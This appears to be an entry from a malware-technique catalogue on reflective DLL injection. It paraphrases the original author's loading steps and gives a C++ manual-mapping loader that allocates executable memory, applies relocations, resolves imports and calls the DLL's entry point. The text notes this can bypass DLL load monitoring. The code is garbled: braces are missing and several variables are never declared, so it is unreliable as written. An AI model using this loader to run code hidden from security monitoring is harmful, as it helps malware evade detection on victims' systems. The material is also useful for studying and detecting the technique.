Reflective DLL injection

Created the Saturday 23 March 2019. Updated 3 years, 6 months ago.

Reflective DLL loading refers to loading a DLL from memory rather than from disk. Windows doesn’t have a LoadLibrary function that supports this, so to get the functionality you have to write your own, omitting some of the things Windows normally does, such as registering the DLL as a loaded module in the process, potentially bypassing DLL load monitoring.

The way the reflective injection works is described by the technique’s original author Stephen Fewer:

  • Execution is passed, either via CreateRemoteThread or a tiny bootstrap shellcode, to the library’s

  • ReflectiveLoader function which is an exported function found in the library’s export table.

  • As the library’s image will currently exists in an arbitrary location in memory the ReflectiveLoader will first calculate its own image’s current location in memory so as to be able to parse its own headers for use later on.

  • The ReflectiveLoader will then parse the host processes kernel32.dll export table in order to calculate the addresses of three functions required by the loader, namely LoadLibraryA, GetProcAddress and VirtualAlloc.

  • The ReflectiveLoader will now allocate a continuous region of memory into which it will proceed to load its own image. The location is not important as the loader will correctly relocate the image later on.

  • The library’s headers and sections are loaded into their new locations in memory.

  • The ReflectiveLoader will then process the newly loaded copy of its image’s import table, loading any additional library’s and resolving their respective imported function addresses.

  • The ReflectiveLoader will then process the newly loaded copy of its image’s relocation table.

  • The ReflectiveLoader will then call its newly loaded image’s entry point function, DllMain with DLL_PROCESS_ATTACH. The library has now been successfully loaded into memory.

  • Finally, the ReflectiveLoader will return execution to the initial bootstrap shellcode which called it, or if it was called via CreateRemoteThread, the thread will terminate.

Technique Identifier


Code Snippets

#include "pch.h"
#include <iostream>
#include <Windows.h>

typedef struct BASE_RELOCATION_BLOCK {
	DWORD PageAddress;
	DWORD BlockSize;

typedef struct BASE_RELOCATION_ENTRY {
	USHORT Offset : 12;
	USHORT Type : 4;

using DLLEntry = BOOL(WINAPI *)(HINSTANCE dll, DWORD reason, LPVOID reserved);

int main()
	// get this module's image base address
	PVOID imageBase = GetModuleHandleA(NULL);

	// load DLL into memory
	HANDLE dll = CreateFileA("\\\\VBOXSVR\\Experiments\\MLLoader\\MLLoader\\x64\\Debug\\dll.dll", GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL);
	DWORD64 dllSize = GetFileSize(dll, NULL);
	LPVOID dllBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dllSize);
	DWORD outSize = 0; 
	ReadFile(dll, dllBytes, dllSize, &outSize, NULL);

	// get pointers to in-memory DLL headers
	PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBytes + dosHeaders->e_lfanew);
	SIZE_T dllImageSize = ntHeaders->OptionalHeader.SizeOfImage;

	// allocate new memory space for the DLL. Try to allocate memory in the image's preferred base address, but don't stress if the memory is allocated elsewhere
	//LPVOID dllBase = VirtualAlloc((LPVOID)0x000000191000000, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	LPVOID dllBase = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	// get delta between this module's image base and the DLL that was read into memory
	DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase - (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase;

	// copy over DLL image headers to the newly allocated space for the DLL
	std::memcpy(dllBase, dllBytes, ntHeaders->OptionalHeader.SizeOfHeaders);

	// copy over DLL image sections to the newly allocated space for the DLL
	for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
		LPVOID sectionDestination = (LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)section->VirtualAddress);
		LPVOID sectionBytes = (LPVOID)((DWORD_PTR)dllBytes + (DWORD_PTR)section->PointerToRawData);
		std::memcpy(sectionDestination, sectionBytes, section->SizeOfRawData);

	// perform image base relocations
	IMAGE_DATA_DIRECTORY relocations = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
	DWORD_PTR relocationTable = relocations.VirtualAddress + (DWORD_PTR)dllBase;
	DWORD relocationsProcessed = 0;

	while (relocationsProcessed < relocations.Size) 
		PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed);
		relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK);
		DWORD relocationsCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
		PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed);

		for (DWORD i = 0; i < relocationsCount; i++)
			relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY);

			if (relocationEntries[i].Type == 0)

			DWORD_PTR relocationRVA = relocationBlock->PageAddress + relocationEntries[i].Offset;
			DWORD_PTR addressToPatch = 0;
			ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL);
			addressToPatch += deltaImageBase;
			std::memcpy((PVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR));
	// resolve import address table
	IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
	importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase);
	LPCSTR libraryName = "";
	HMODULE library = NULL;

	while (importDescriptor->Name != NULL)
		libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase;
		library = LoadLibraryA(libraryName);
		if (library)
			thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dllBase + importDescriptor->FirstThunk);

			while (thunk->u1.AddressOfData != NULL)
				if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal))
					LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);
					thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal);
					PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllBase + thunk->u1.AddressOfData);
					DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name);
					thunk->u1.Function = functionAddress;


	// execute the loaded DLL
	DLLEntry DllEntry = (DLLEntry)((DWORD_PTR)dllBase + ntHeaders->OptionalHeader.AddressOfEntryPoint);
	(*DllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0);

	HeapFree(GetProcessHeap(), 0, dllBytes);

	return 0;

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